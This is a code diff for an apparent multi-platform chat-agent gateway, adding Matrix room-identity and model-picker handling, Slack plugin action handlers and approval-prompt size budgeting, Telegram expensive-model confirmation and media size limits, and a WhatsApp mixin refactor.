+ async def _expire_matrix_model_picker_prompt(
+ self,
+ room_id: str,
+ target_event_id: str,
+ prompt: "_MatrixModelPickerPrompt",
+ ) -> None:
+ prompt.resolved = True
+ self._model_picker_prompts_by_event.pop(target_event_id, None)
+ await self._redact_bot_model_picker_reactions(room_id, prompt)
+ await self._send_invalid_reaction_feedback(
+ room_id,
+ target_event_id,
+ "This model picker has expired. Run `/model` again to choose a model.",
+ )
async def _redact_bot_approval_reactions(
self,
room_id: str,
prompt: "_MatrixApprovalPrompt",
) -> None:
- """Redact the bot's seed ✅/❎ reactions, leaving only the user's reaction."""
+ """Redact the bot's seeded approval reactions, leaving only the user's reaction."""
for emoji, evt_id in prompt.bot_reaction_events.items():
self._schedule_reaction_redaction(room_id, evt_id, "approval resolved")
logger.debug("Matrix: scheduled bot reaction redaction %s (%s)", emoji, evt_id)
+ async def _redact_bot_model_picker_reactions(
+ self,
+ room_id: str,
+ prompt: "_MatrixModelPickerPrompt",
+ ) -> None:
+ """Redact the bot's seeded model picker reactions."""
+ for emoji, evt_id in prompt.bot_reaction_events.items():
+ try:
+ await self.redact_message(room_id, evt_id, "model picker resolved")
+ logger.debug("Matrix: redacted model picker reaction %s (%s)", emoji, evt_id)
+ except Exception as exc:
+ logger.debug("Matrix: failed to redact model picker reaction %s: %s", emoji, exc)
+
# ------------------------------------------------------------------
# Text message aggregation (handles Matrix client-side splits)
# ------------------------------------------------------------------
@@ -2500,6 +3393,13 @@ async def create_room(
"""Create a new Matrix room."""
if not self._client:
return None
+ if preset == "public_chat" and os.getenv("MATRIX_ALLOW_PUBLIC_ROOMS", "").lower() not in (
+ "true",
+ "1",
+ "yes",
+ ):
+ logger.warning("Matrix: refusing to create public room without MATRIX_ALLOW_PUBLIC_ROOMS=true")
+ return None
try:
preset_enum = {
"private_chat": RoomCreatePreset.PRIVATE,
@@ -2534,6 +3434,63 @@ async def invite_user(self, room_id: str, user_id: str) -> bool:
logger.warning("Matrix: invite error: %s", exc)
return False
+ async def fetch_history(
+ self,
+ room_id: str,
+ limit: int = 20,
+ from_token: str = "",
+ ) -> list[dict[str, Any]]:
+ """Fetch recent Matrix room history using the live client."""
+ if not self._client:
+ return []
+ limit = max(1, min(int(limit or 20), 100))
+ try:
+ direction = getattr(PaginationDirection, "BACKWARD", "b")
+ if hasattr(self._client, "messages"):
+ response = await self._client.messages(
+ RoomID(room_id),
+ from_token=SyncToken(from_token) if from_token else None,
+ direction=direction,
+ limit=limit,
+ )
+ elif hasattr(self._client, "get_messages"):
+ response = await self._client.get_messages(
+ RoomID(room_id),
+ start=SyncToken(from_token) if from_token else None,
+ direction=direction,
+ limit=limit,
+ )
+ else:
+ logger.debug("Matrix: client has no messages/get_messages method")
+ return []
+ chunk = getattr(response, "chunk", None)
+ if chunk is None and isinstance(response, dict):
+ chunk = response.get("chunk")
+ return [self._serialize_history_event(evt) for evt in (chunk or [])]
+ except Exception as exc:
+ logger.warning("Matrix: fetch history error: %s", exc)
+ return []
+
+ def _serialize_history_event(self, event: Any) -> dict[str, Any]:
+ content = getattr(event, "content", None)
+ if content is None and isinstance(event, dict):
+ content = event.get("content", {})
+ if not isinstance(content, dict):
+ content = dict(content) if hasattr(content, "items") else {}
+ return {
+ "event_id": str(
+ getattr(event, "event_id", "")
+ or (event.get("event_id", "") if isinstance(event, dict) else "")
+ ),
+ "sender": str(
+ getattr(event, "sender", "")
+ or (event.get("sender", "") if isinstance(event, dict) else "")
+ ),
+ "timestamp": _matrix_event_timestamp_seconds(event),
+ "msgtype": str(content.get("msgtype", "")),
+ "body": str(content.get("body", "")),
+ }
+
# ------------------------------------------------------------------
# Presence
# ------------------------------------------------------------------
@@ -2593,22 +3550,152 @@ async def _send_simple_message(
# Helpers
# ------------------------------------------------------------------
- async def _is_dm_room(self, room_id: str) -> bool:
- """Check if a room is a DM."""
- if self._dm_rooms.get(room_id, False):
- return True
- # Fallback: check member count via state store.
+ @staticmethod
+ def _state_event_value(event: Any, key: str) -> Optional[str]:
+ """Extract a simple value from a Matrix state event object or dict."""
+ if event is None:
+ return None
+ value = getattr(event, key, None)
+ if value:
+ return str(value)
+ if isinstance(event, dict):
+ if event.get(key):
+ return str(event[key])
+ content = event.get("content")
+ if isinstance(content, dict) and content.get(key):
+ return str(content[key])
+ content = getattr(event, "content", None)
+ if isinstance(content, dict) and content.get(key):
+ return str(content[key])
+ if content is not None and getattr(content, key, None):
+ return str(getattr(content, key))
+ return None
+
+ async def _get_room_member_count(self, room_id: str) -> Optional[int]:
state_store = (
getattr(self._client, "state_store", None) if self._client else None
)
- if state_store:
- try:
- members = await state_store.get_members(room_id)
- if members and len(members) == 2:
- return True
- except Exception:
- pass
- return False
+ if not state_store:
+ return None
+ try:
+ members = await state_store.get_members(room_id)
+ except Exception:
+ return None
+ if members is None:
+ return None
+ try:
+ return len(members)
+ except TypeError:
+ return None
+
+ async def _get_room_name(self, room_id: str) -> Optional[str]:
+ if not self._client or not hasattr(self._client, "get_state_event"):
+ return None
+ try:
+ event = await self._client.get_state_event(
+ RoomID(room_id),
+ "m.room.name",
+ )
+ except Exception:
+ return None
+ value = self._state_event_value(event, "name")
+ return value.strip() if value and value.strip() else None
+
+ async def _get_room_canonical_alias(self, room_id: str) -> Optional[str]:
+ if not self._client or not hasattr(self._client, "get_state_event"):
+ return None
+ try:
+ event = await self._client.get_state_event(
+ RoomID(room_id),
+ "m.room.canonical_alias",
+ )
+ except Exception:
+ return None
+ value = self._state_event_value(event, "alias")
+ return value.strip() if value and value.strip() else None
+
+ async def _get_room_topic(self, room_id: str) -> Optional[str]:
+ if not self._client or not hasattr(self._client, "get_state_event"):
+ return None
+ try:
+ event = await self._client.get_state_event(
+ RoomID(room_id),
+ "m.room.topic",
+ )
+ except Exception:
+ return None
+ value = self._state_event_value(event, "topic")
+ return value.strip() if value and value.strip() else None
+
+ @staticmethod
+ def _room_server_name(room_id: str) -> Optional[str]:
+ if ":" not in room_id:
+ return None
+ server = room_id.rsplit(":", 1)[-1].strip()
+ return server or None
+
+ def _cache_room_identity(self, room_id: str, identity: MatrixRoomIdentity) -> None:
+ if len(self._room_identities) >= self._room_identity_cache_max:
+ oldest = min(
+ self._room_identity_cached_at,
+ key=self._room_identity_cached_at.get,
+ default=None,
+ )
+ if oldest:
+ self._room_identities.pop(oldest, None)
+ self._room_identity_cached_at.pop(oldest, None)
+ self._room_identities[room_id] = identity
+ self._room_identity_cached_at[room_id] = time.monotonic()
+
+ async def _resolve_room_identity(
+ self,
+ room_id: str,
+ *,
+ force_refresh: bool = False,
+ ) -> MatrixRoomIdentity:
+ """Resolve Matrix room identity without member-count DM heuristics.
+
+ Matrix ``m.direct`` account data is the authoritative DM signal, but
+ explicitly named rooms win over stale/conflicting DM account data.
+ """
+ cached = self._room_identities.get(room_id)
+ cached_at = self._room_identity_cached_at.get(room_id, 0.0)
+ cache_fresh = (
+ self._room_identity_ttl_seconds <= 0
+ or time.monotonic() - cached_at <= self._room_identity_ttl_seconds
+ )
+ if cached is not None and cache_fresh and not force_refresh:
+ return cached
+
+ room_name = await self._get_room_name(room_id)
+ room_topic = await self._get_room_topic(room_id)
+ canonical_alias = await self._get_room_canonical_alias(room_id)
+ member_count = await self._get_room_member_count(room_id)
+ has_explicit_name = bool(room_name)
+ is_direct = bool(self._dm_rooms.get(room_id, False))
+ conflict = bool(is_direct and has_explicit_name)
+ chat_type = "dm" if is_direct and not has_explicit_name else "room"
+ display_name = room_name or canonical_alias or room_id
+
+ identity = MatrixRoomIdentity(
+ room_id=room_id,
+ room_name=room_name,
+ room_topic=room_topic,
+ canonical_alias=canonical_alias,
+ server_name=self._room_server_name(room_id),
+ joined_member_count=member_count,
+ is_direct_account_data=is_direct,
+ display_name=display_name,
+ has_explicit_name=has_explicit_name,
+ chat_type=chat_type,
+ conflict=conflict,
+ )
+ self._cache_room_identity(room_id, identity)
+ return identity
+
+ async def _is_dm_room(self, room_id: str) -> bool:
+ """Check if a room is a DM."""
+ return (await self._resolve_room_identity(room_id)).chat_type == "dm"
async def _refresh_dm_cache(self) -> None:
"""Refresh the DM room cache from m.direct account data."""
@@ -2632,9 +3719,11 @@ async def _refresh_dm_cache(self) -> None:
dm_room_ids: Set[str] = set()
for user_id, rooms in dm_data.items():
if isinstance(rooms, list):
- dm_room_ids.update(str(r) for r in rooms)
+ dm_room_ids.update(str(r) for r in rooms if isinstance(r, str))
self._dm_rooms = {rid: (rid in dm_room_ids) for rid in self._joined_rooms}
+ self._room_identities.clear()
+ self._room_identity_cached_at.clear()
# ------------------------------------------------------------------
# Mention detection helpers
@@ -2644,8 +3733,11 @@ def _build_text_message_content(self, text: str, msgtype: str = "m.text") -> Dic
"""Build Matrix text content with HTML and outbound mention metadata."""
msg_content: Dict[str, Any] = {"msgtype": msgtype, "body": text}
mention_user_ids = self._extract_outbound_mentions(text)
+ room_mentioned = self._allow_room_mentions and self._has_outbound_room_mention(text)
if mention_user_ids:
msg_content["m.mentions"] = {"user_ids": mention_user_ids}
+ if room_mentioned:
+ msg_content.setdefault("m.mentions", {})["room"] = True
html_source = self._inject_outbound_mention_links(text)
html = self._markdown_to_html(html_source)
@@ -2655,6 +3747,31 @@ def _build_text_message_content(self, text: str, msgtype: str = "m.text") -> Dic
return msg_content
+ def _apply_relation_metadata(
+ self,
+ msg_content: Dict[str, Any],
+ *,
+ reply_to: Optional[str] = None,
+ metadata: Optional[Dict[str, Any]] = None,
+ ) -> None:
+ """Apply Matrix reply/thread relation metadata to an outbound payload."""
+ thread_id = str((metadata or {}).get("thread_id") or "")
+ if reply_to:
+ msg_content["m.relates_to"] = {"m.in_reply_to": {"event_id": reply_to}}
+ if thread_id:
+ relates_to = msg_content.get("m.relates_to", {})
+ relates_to["rel_type"] = "m.thread"
+ relates_to["event_id"] = thread_id
+ relates_to["is_falling_back"] = True
+ # Matrix clients that do not render threads still use reply
+ # fallback. If no explicit reply target is available, fall back
+ # to the thread root.
+ relates_to.setdefault(
+ "m.in_reply_to",
+ {"event_id": reply_to or thread_id},
+ )
+ msg_content["m.relates_to"] = relates_to
+
def _extract_outbound_mentions(self, text: str) -> list[str]:
"""Return unique Matrix user IDs mentioned in outbound text."""
protected, _ = self._protect_outbound_mention_regions(text)
@@ -2667,6 +3784,11 @@ def _extract_outbound_mentions(self, text: str) -> list[str]:
mentions.append(user_id)
return mentions
+ def _has_outbound_room_mention(self, text: str) -> bool:
+ """Return True when outbound text contains @room outside protected spans."""
+ protected, _ = self._protect_outbound_mention_regions(text)
+ return bool(re.search(r"(? str:
"""Wrap outbound Matrix mentions in markdown links outside code spans."""
if not text:
@@ -2807,6 +3929,7 @@ def _markdown_to_html(self, text: str) -> str:
links, blockquotes, lists, and horizontal rules — everything the
Matrix HTML spec allows.
"""
+ text = _pre_sanitize_matrix_markdown(text)
try:
import markdown as _md
@@ -2821,11 +3944,11 @@ def _markdown_to_html(self, text: str) -> str:
if html.count("") == 1:
html = html.replace("
", "").replace("
", "")
- return html
+ return _sanitize_matrix_html(html)
except ImportError:
pass
- return self._markdown_to_html_fallback(text)
+ return _sanitize_matrix_html(self._markdown_to_html_fallback(text))
# ------------------------------------------------------------------
# Regex-based Markdown -> HTML (no extra dependencies)
diff --git a/gateway/platforms/signal.py b/gateway/platforms/signal.py
index 975b701571ba..991530348488 100644
--- a/gateway/platforms/signal.py
+++ b/gateway/platforms/signal.py
@@ -602,6 +602,14 @@ async def _handle_envelope(self, envelope: dict) -> None:
msg_type = MessageType.VOICE
elif any(mt.startswith("image/") for mt in media_types):
msg_type = MessageType.PHOTO
+ elif any(mt.startswith("video/") for mt in media_types):
+ msg_type = MessageType.VIDEO
+ else:
+ # Catch-all: application/*, text/*, and unknown MIME types are
+ # treated as documents so run.py's document-context injection
+ # surfaces the cached file path to the agent (same pattern as
+ # WhatsApp/Slack/BlueBubbles/Mattermost).
+ msg_type = MessageType.DOCUMENT
# Parse timestamp from envelope data (milliseconds since epoch)
ts_ms = envelope_data.get("timestamp", 0)
diff --git a/gateway/platforms/slack.py b/gateway/platforms/slack.py
index 0e1b055ea503..6aac3bf48066 100644
--- a/gateway/platforms/slack.py
+++ b/gateway/platforms/slack.py
@@ -318,6 +318,11 @@ class SlackAdapter(BasePlatformAdapter):
MAX_MESSAGE_LENGTH = 39000 # Slack API allows 40,000 chars; leave margin
supports_code_blocks = True # Slack mrkdwn renders fenced code blocks
+ # Slack blocks typed native slash commands inside threads ("/approve is
+ # not supported in threads. Sorry!"). The adapter rewrites a leading
+ # "!" to "/" for known commands (see _handle_slack_message), so "!" is
+ # the prefix that works everywhere — instruction text must show it.
+ typed_command_prefix = "!"
def __init__(self, config: PlatformConfig):
super().__init__(config, Platform.SLACK)
@@ -885,6 +890,18 @@ async def handle_file_created(event, say):
async def handle_file_change(event, say):
pass
+ # Reactions are useful lightweight acknowledgements in Slack, but
+ # Hermes does not currently need to route them into the agent loop.
+ # Ack the events explicitly so high-traffic channels do not fill
+ # gateway.error.log with Slack Bolt "Unhandled request" warnings.
+ @self._app.event("reaction_added")
+ async def handle_reaction_added(event, say):
+ pass
+
+ @self._app.event("reaction_removed")
+ async def handle_reaction_removed(event, say):
+ pass
+
@self._app.event("assistant_thread_started")
async def handle_assistant_thread_started(event, say):
await self._handle_assistant_thread_lifecycle_event(event)
@@ -944,6 +961,59 @@ async def handle_hermes_command(ack, command):
):
self._app.action(_action_id)(self._handle_slash_confirm_action)
+ # Register plugin-provided Block Kit action handlers.
+ #
+ # Plugins call ``ctx.register_slack_action_handler(action_id, cb)``
+ # at register() time; the manager queues them and the adapter
+ # wires them into AsyncApp here so slack_bolt's matcher knows
+ # about them before Socket Mode starts dispatching events.
+ #
+ # Each callback is wrapped so a misbehaving plugin can't take
+ # down the gateway: any exception inside the plugin handler is
+ # caught and logged, and slack_bolt still sees a clean ack.
+ try:
+ from hermes_cli.plugins import get_plugin_manager
+ _plugin_handlers = get_plugin_manager().get_slack_action_handlers()
+ except Exception as e: # pragma: no cover - defensive
+ logger.warning(
+ "[Slack] Could not load plugin action handlers: %s", e,
+ )
+ _plugin_handlers = []
+
+ # Closure factory — keeps the wrapper's signature limited to
+ # ``(ack, body, action)``. slack_bolt inspects listener
+ # signatures via ``inspect.signature`` and passes ``None`` for
+ # any parameter name it doesn't recognise, so capturing loop
+ # vars as default args (``_cb=_cb`` etc.) silently clobbers
+ # them at dispatch time.
+ def _make_wrapper(cb, plugin_name):
+ async def _wrapped(ack, body, action):
+ try:
+ await cb(ack, body, action)
+ except Exception as exc: # pragma: no cover - defensive
+ logger.error(
+ "[Slack] Plugin '%s' action handler raised: %s",
+ plugin_name, exc, exc_info=True,
+ )
+ # Best-effort ack so Slack doesn't retry the click.
+ try:
+ await ack()
+ except Exception:
+ pass
+ return _wrapped
+
+ for _action_id, _cb, _plugin_name in _plugin_handlers:
+ self._app.action(_action_id)(_make_wrapper(_cb, _plugin_name))
+ logger.debug(
+ "[Slack] Registered plugin action handler %s (from %s)",
+ _action_id, _plugin_name,
+ )
+ if _plugin_handlers:
+ logger.info(
+ "[Slack] Wired %d plugin action handler(s)",
+ len(_plugin_handlers),
+ )
+
# Bring up the handler and watchdog atomically. ``_running`` only
# flips to True after the handler is alive so the watchdog loop
# observes the live task immediately; on any failure here we tear
@@ -2692,19 +2762,26 @@ async def send_exec_approval(
return SendResult(success=False, error="Not connected")
try:
- cmd_preview = command[:2900] + "..." if len(command) > 2900 else command
thread_ts = self._resolve_thread_ts(None, metadata)
+ # Slack hard-caps a section block's text at 3000 chars; an
+ # oversized block fails the whole send with ``invalid_blocks``
+ # and the gateway falls back to the plain-text prompt (no
+ # buttons). execute_code approvals embed the entire script in
+ # ``command``, so budget the preview against the fixed parts
+ # instead of a flat truncation that overflows once the header +
+ # reason are added.
+ header = ":warning: *Command Approval Required*\n"
+ reason = f"Reason: {description[:500]}"
+ budget = 3000 - len(header) - len(reason) - len("``````\n") - len("...")
+ cmd_preview = command[:budget] + "..." if len(command) > budget else command
+
blocks = [
{
"type": "section",
"text": {
"type": "mrkdwn",
- "text": (
- f":warning: *Command Approval Required*\n"
- f"```{cmd_preview}```\n"
- f"Reason: {description}"
- ),
+ "text": f"{header}```{cmd_preview}```\n{reason}",
},
},
{
@@ -2772,8 +2849,13 @@ async def send_slash_confirm(
return SendResult(success=False, error="Not connected")
try:
- body = message[:2900] + "..." if len(message) > 2900 else message
thread_ts = self._resolve_thread_ts(None, metadata)
+ # Same 3000-char section-block cap as send_exec_approval: budget
+ # the body against the rendered title so the wrapper never pushes
+ # the block over the limit (overflow → invalid_blocks → no buttons).
+ _title = (title or "Confirm")[:150]
+ budget = 3000 - len(f"*{_title}*\n\n") - len("...")
+ body = message[:budget] + "..." if len(message) > budget else message
# Encode session_key and confirm_id into the button value so the
# callback handler can resolve without extra bookkeeping.
value = f"{session_key}|{confirm_id}"
@@ -2783,7 +2865,7 @@ async def send_slash_confirm(
"type": "section",
"text": {
"type": "mrkdwn",
- "text": f"*{title or 'Confirm'}*\n\n{body}",
+ "text": f"*{_title}*\n\n{body}",
},
},
{
diff --git a/gateway/platforms/telegram.py b/gateway/platforms/telegram.py
index fca6fa66255d..eec156bbae9b 100644
--- a/gateway/platforms/telegram.py
+++ b/gateway/platforms/telegram.py
@@ -2348,10 +2348,15 @@ async def _edit_overflow_split(
)
except Exception as fmt_err:
if "not modified" not in str(fmt_err).lower():
+ logger.warning(
+ "[%s] Overflow split: MarkdownV2 first-chunk edit "
+ "failed, falling back to plain text: %s",
+ self.name, fmt_err,
+ )
await self._bot.edit_message_text(
chat_id=int(chat_id),
message_id=int(message_id),
- text=first_chunk,
+ text=_strip_mdv2(first_chunk),
)
else:
await self._bot.edit_message_text(
@@ -2379,6 +2384,7 @@ async def _edit_overflow_split(
# are already correctly sized). Best-effort MarkdownV2 with plain
# fallback, mirroring send().
continuation_ids: list[str] = []
+ delivered_chunks = [first_chunk]
prev_id = message_id
thread_id = self._metadata_thread_id(metadata)
for chunk in chunks[1:]:
@@ -2392,7 +2398,14 @@ async def _edit_overflow_split(
)
for use_markdown in (True, False) if finalize else (False,):
try:
- text = self.format_message(chunk) if use_markdown else chunk
+ if use_markdown:
+ text = self.format_message(chunk)
+ else:
+ # Plain attempt: on finalize the MarkdownV2 attempt
+ # failed, so degrade to clean stripped text, never
+ # the raw chunk (raw ** / ``` markers would render
+ # literally); streaming previews stay raw.
+ text = _strip_mdv2(chunk) if finalize else chunk
sent_msg = await self._bot.send_message(
chat_id=int(chat_id),
text=text,
@@ -2418,7 +2431,7 @@ async def _edit_overflow_split(
try:
sent_msg = await self._bot.send_message(
chat_id=int(chat_id),
- text=chunk,
+ text=_strip_mdv2(chunk) if finalize else chunk,
**retry_thread_kwargs,
**self._link_preview_kwargs(),
**self._notification_kwargs(metadata),
@@ -2442,17 +2455,37 @@ async def _edit_overflow_split(
break
if sent_msg is None:
# Continuation failed — the user has chunk 1 + however many
- # continuations succeeded. Report success with what we got
- # so the stream consumer knows the edit landed; the
- # remaining tail is lost on this attempt and the next
- # streaming tick may retry.
+ # continuations succeeded, but NOT the full response. Do not
+ # report success: the stream consumer treats a successful edit
+ # as final delivery on got_done, which would suppress fallback
+ # delivery and leave the Telegram topic clipped after the last
+ # delivered chunk.
logger.warning(
"[%s] Overflow split: stopped at %d/%d chunks delivered",
self.name, 1 + len(continuation_ids), len(chunks),
)
- break
+ delivered_prefix = "".join(
+ re.sub(r" \(\d+/\d+\)$", "", delivered)
+ for delivered in delivered_chunks
+ )
+ return SendResult(
+ success=False,
+ message_id=prev_id,
+ error="overflow_continuation_failed",
+ retryable=True,
+ raw_response={
+ "partial_overflow": True,
+ "delivered_chunks": 1 + len(continuation_ids),
+ "total_chunks": len(chunks),
+ "last_message_id": prev_id,
+ "delivered_prefix": delivered_prefix,
+ "continuation_message_ids": tuple(continuation_ids),
+ },
+ continuation_message_ids=tuple(continuation_ids),
+ )
new_id = str(getattr(sent_msg, "message_id", "")) or prev_id
continuation_ids.append(new_id)
+ delivered_chunks.append(chunk)
prev_id = new_id
last_id = continuation_ids[-1] if continuation_ids else message_id
@@ -3030,7 +3063,7 @@ def _build_model_keyboard(self, models: list, page: int) -> tuple:
async def _handle_model_picker_callback(
self, query, data: str, chat_id: str
) -> None:
- """Handle model picker inline keyboard callbacks (mp:/mm:/mb:/mx:/mg:)."""
+ """Handle model picker inline keyboard callbacks (mp:/mm:/mc:/mb:/mx:/mg:)."""
state = self._model_picker_state.get(chat_id)
if not state:
await query.answer(text="Picker expired — use /model again.")
@@ -3115,6 +3148,55 @@ def get_label(slug):
)
await query.answer()
+ elif data.startswith("mc:"):
+ # --- Expensive model confirmed: perform the switch ---
+ try:
+ idx = int(data[3:])
+ except ValueError:
+ await query.answer(text="Invalid selection.")
+ return
+
+ model_list = state.get("model_list", [])
+ if idx < 0 or idx >= len(model_list):
+ await query.answer(text="Invalid model index.")
+ return
+
+ model_id = model_list[idx]
+ provider_slug = state.get("selected_provider", "")
+ callback = state.get("on_model_selected")
+
+ if not callback:
+ await query.answer(text="Picker expired.")
+ return
+
+ switch_failed = False
+ try:
+ result_text = await callback(chat_id, model_id, provider_slug)
+ except Exception as exc:
+ logger.error("Model picker switch failed: %s", exc)
+ result_text = f"Error switching model: {exc}"
+ switch_failed = True
+
+ try:
+ await query.edit_message_text(
+ text=self.format_message(result_text),
+ parse_mode=ParseMode.MARKDOWN_V2,
+ reply_markup=None,
+ )
+ except Exception:
+ try:
+ await query.edit_message_text(
+ text=result_text,
+ parse_mode=None,
+ reply_markup=None,
+ )
+ except Exception:
+ pass
+ await query.answer(
+ text="Switch failed." if switch_failed else "Model switched!"
+ )
+ self._model_picker_state.pop(chat_id, None)
+
elif data.startswith("mm:"):
# --- Model selected: perform the switch ---
try:
@@ -3136,11 +3218,43 @@ def get_label(slug):
await query.answer(text="Picker expired.")
return
+ try:
+ from hermes_cli.model_cost_guard import expensive_model_warning
+
+ # Pricing lookup can hit models.dev / a /models endpoint on a
+ # cache miss — keep it off the event loop.
+ warning = await asyncio.to_thread(
+ expensive_model_warning,
+ model_id,
+ provider=provider_slug,
+ )
+ except Exception:
+ warning = None
+ if warning is not None:
+ keyboard = InlineKeyboardMarkup([
+ [InlineKeyboardButton("Switch anyway", callback_data=f"mc:{idx}")],
+ [
+ InlineKeyboardButton("◀ Back", callback_data="mb"),
+ InlineKeyboardButton("✗ Cancel", callback_data="mx"),
+ ],
+ ])
+ await query.edit_message_text(
+ text=self.format_message(
+ f"⚠ *Expensive Model Warning*\n\n{warning.message}"
+ ),
+ parse_mode=ParseMode.MARKDOWN_V2,
+ reply_markup=keyboard,
+ )
+ await query.answer(text="Confirm expensive model")
+ return
+
+ switch_failed = False
try:
result_text = await callback(chat_id, model_id, provider_slug)
except Exception as exc:
logger.error("Model picker switch failed: %s", exc)
result_text = f"Error switching model: {exc}"
+ switch_failed = True
# Edit message to show confirmation, remove buttons
try:
@@ -3159,7 +3273,9 @@ def get_label(slug):
)
except Exception:
pass
- await query.answer(text="Model switched!")
+ await query.answer(
+ text="Switch failed." if switch_failed else "Model switched!"
+ )
# Clean up state
self._model_picker_state.pop(chat_id, None)
@@ -3260,7 +3376,7 @@ async def _handle_callback_query(
query_user_name = getattr(query.from_user, "first_name", None)
# --- Model picker callbacks ---
- if data.startswith(("mp:", "mpg:", "mm:", "mb", "mx", "mg:")):
+ if data.startswith(("mp:", "mpg:", "mm:", "mc:", "mb", "mx", "mg:")):
chat_id = str(query.message.chat_id) if query.message else None
if chat_id:
await self._handle_model_picker_callback(query, data, chat_id)
@@ -3721,6 +3837,33 @@ def _missing_media_path_error(self, label: str, path: str) -> str:
)
return error
+ def _telegram_media_too_large_note(self, label: str, file_size: Any, max_bytes: int) -> str:
+ limit_mb = max(1, max_bytes // (1024 * 1024))
+ try:
+ size_mb = int(file_size or 0) / (1024 * 1024)
+ size_text = f"{size_mb:.1f} MB"
+ except (TypeError, ValueError):
+ size_text = "unknown size"
+ return (
+ f"[Telegram {label} skipped: file size {size_text} exceeds the "
+ f"{limit_mb} MB limit. Ask the user to send a shorter voice note "
+ "or a smaller audio file.]"
+ )
+
+ def _telegram_media_size_allowed(self, source: Any, label: str) -> tuple[bool, Optional[str]]:
+ """Validate Telegram media size before downloading into memory."""
+ max_bytes = int(getattr(self, "_max_doc_bytes", 20 * 1024 * 1024) or 20 * 1024 * 1024)
+ file_size = getattr(source, "file_size", None)
+ try:
+ size = int(file_size or 0)
+ except (TypeError, ValueError):
+ size = 0
+ if size <= 0:
+ return True, None
+ if size <= max_bytes:
+ return True, None
+ return False, self._telegram_media_too_large_note(label, size, max_bytes)
+
async def send_voice(
self,
chat_id: str,
@@ -5486,6 +5629,12 @@ async def _handle_media_message(self, update: Update, context: ContextTypes.DEFA
# Download voice/audio messages to cache for STT transcription
if msg.voice:
try:
+ allowed, note = self._telegram_media_size_allowed(msg.voice, "voice message")
+ if not allowed:
+ event.text = self._append_observed_note(event.text, note or "")
+ logger.info("[Telegram] Skipped oversized user voice (size=%s)", getattr(msg.voice, "file_size", None))
+ await self.handle_message(event)
+ return
file_obj = await msg.voice.get_file()
audio_bytes = await file_obj.download_as_bytearray()
cached_path = cache_audio_from_bytes(bytes(audio_bytes), ext=".ogg")
@@ -5496,6 +5645,12 @@ async def _handle_media_message(self, update: Update, context: ContextTypes.DEFA
logger.warning("[Telegram] Failed to cache voice: %s", e, exc_info=True)
elif msg.audio:
try:
+ allowed, note = self._telegram_media_size_allowed(msg.audio, "audio file")
+ if not allowed:
+ event.text = self._append_observed_note(event.text, note or "")
+ logger.info("[Telegram] Skipped oversized user audio (size=%s)", getattr(msg.audio, "file_size", None))
+ await self.handle_message(event)
+ return
file_obj = await msg.audio.get_file()
audio_bytes = await file_obj.download_as_bytearray()
cached_path = cache_audio_from_bytes(bytes(audio_bytes), ext=".mp3")
diff --git a/gateway/platforms/whatsapp.py b/gateway/platforms/whatsapp.py
index 593922011508..d833d5649a22 100644
--- a/gateway/platforms/whatsapp.py
+++ b/gateway/platforms/whatsapp.py
@@ -16,11 +16,9 @@
"""
import asyncio
-import json
import logging
import os
import platform
-import re
import shutil
import signal
import subprocess
@@ -180,6 +178,7 @@ def _terminate_bridge_process(proc, *, force: bool = False) -> None:
sys.path.insert(0, str(Path(__file__).resolve().parents[2]))
from gateway.config import Platform, PlatformConfig
+from gateway.platforms.whatsapp_common import WhatsAppBehaviorMixin
from gateway.platforms.base import (
BasePlatformAdapter,
MessageEvent,
@@ -191,6 +190,22 @@ def _terminate_bridge_process(proc, *, force: bool = False) -> None:
)
+def _file_content_hash(path: Path) -> str:
+ """Return the first 16 hex chars of the SHA-256 of *path*'s contents.
+
+ Used for the bridge staleness handshake: bridge.js reports its own
+ source hash in ``/health`` (``scriptHash``), and the adapter compares
+ it against the hash of bridge.js currently on disk. A mismatch means
+ a long-lived bridge process is serving code from before an update.
+ Returns ``""`` when the file can't be read.
+ """
+ import hashlib
+ try:
+ return hashlib.sha256(path.read_bytes()).hexdigest()[:16]
+ except OSError:
+ return ""
+
+
def check_whatsapp_requirements() -> bool:
"""
Check if WhatsApp dependencies are available.
@@ -215,7 +230,7 @@ def check_whatsapp_requirements() -> bool:
return False
-class WhatsAppAdapter(BasePlatformAdapter):
+class WhatsAppAdapter(WhatsAppBehaviorMixin, BasePlatformAdapter):
"""
WhatsApp adapter.
@@ -237,14 +252,12 @@ class WhatsAppAdapter(BasePlatformAdapter):
- allow_from: List of sender IDs allowed in DMs (when dm_policy="allowlist")
- group_policy: "open" | "allowlist" | "disabled" — which groups are processed (default: "open")
- group_allow_from: List of group JIDs allowed (when group_policy="allowlist")
+
+ Behavior (gating, mention parsing, markdown conversion, chunking) is
+ provided by ``WhatsAppBehaviorMixin`` so the Cloud API adapter can
+ share it. Only transport-specific code lives here.
"""
-
- # WhatsApp message limits — practical UX limit, not protocol max.
- # WhatsApp allows ~65K but long messages are unreadable on mobile.
- MAX_MESSAGE_LENGTH = 4096
- supports_code_blocks = True # WhatsApp renders fenced code blocks (monospace)
- DEFAULT_REPLY_PREFIX = "⚕ *Hermes Agent*\n────────────\n"
-
+
# Default bridge location relative to the hermes-agent install
_DEFAULT_BRIDGE_DIR = Path(__file__).resolve().parents[2] / "scripts" / "whatsapp-bridge"
@@ -316,218 +329,6 @@ def _coerce_float_extra(self, key: str, default: float) -> float:
return float(default)
return parsed
- def _effective_reply_prefix(self) -> str:
- """Return the prefix the Node bridge will add in self-chat mode."""
- whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat")
- if whatsapp_mode != "self-chat":
- return ""
- if self._reply_prefix is not None:
- return self._reply_prefix.replace("\\n", "\n")
- env_prefix = os.getenv("WHATSAPP_REPLY_PREFIX")
- if env_prefix is not None:
- return env_prefix.replace("\\n", "\n")
- return self.DEFAULT_REPLY_PREFIX
-
- def _outgoing_chunk_limit(self) -> int:
- """Reserve room for the bridge-side prefix so final WhatsApp text fits."""
- prefix_len = len(self._effective_reply_prefix())
- # Keep enough space for truncate_message's pagination indicator and
- # code-fence repair even if a user configures a very long prefix.
- return max(1024, self.MAX_MESSAGE_LENGTH - prefix_len)
-
- def _whatsapp_require_mention(self) -> bool:
- configured = self.config.extra.get("require_mention")
- if configured is not None:
- if isinstance(configured, str):
- return configured.lower() in {"true", "1", "yes", "on"}
- return bool(configured)
- return os.getenv("WHATSAPP_REQUIRE_MENTION", "false").lower() in {"true", "1", "yes", "on"}
-
- def _whatsapp_free_response_chats(self) -> set[str]:
- raw = self.config.extra.get("free_response_chats")
- if raw is None:
- raw = os.getenv("WHATSAPP_FREE_RESPONSE_CHATS", "")
- if isinstance(raw, list):
- return {str(part).strip() for part in raw if str(part).strip()}
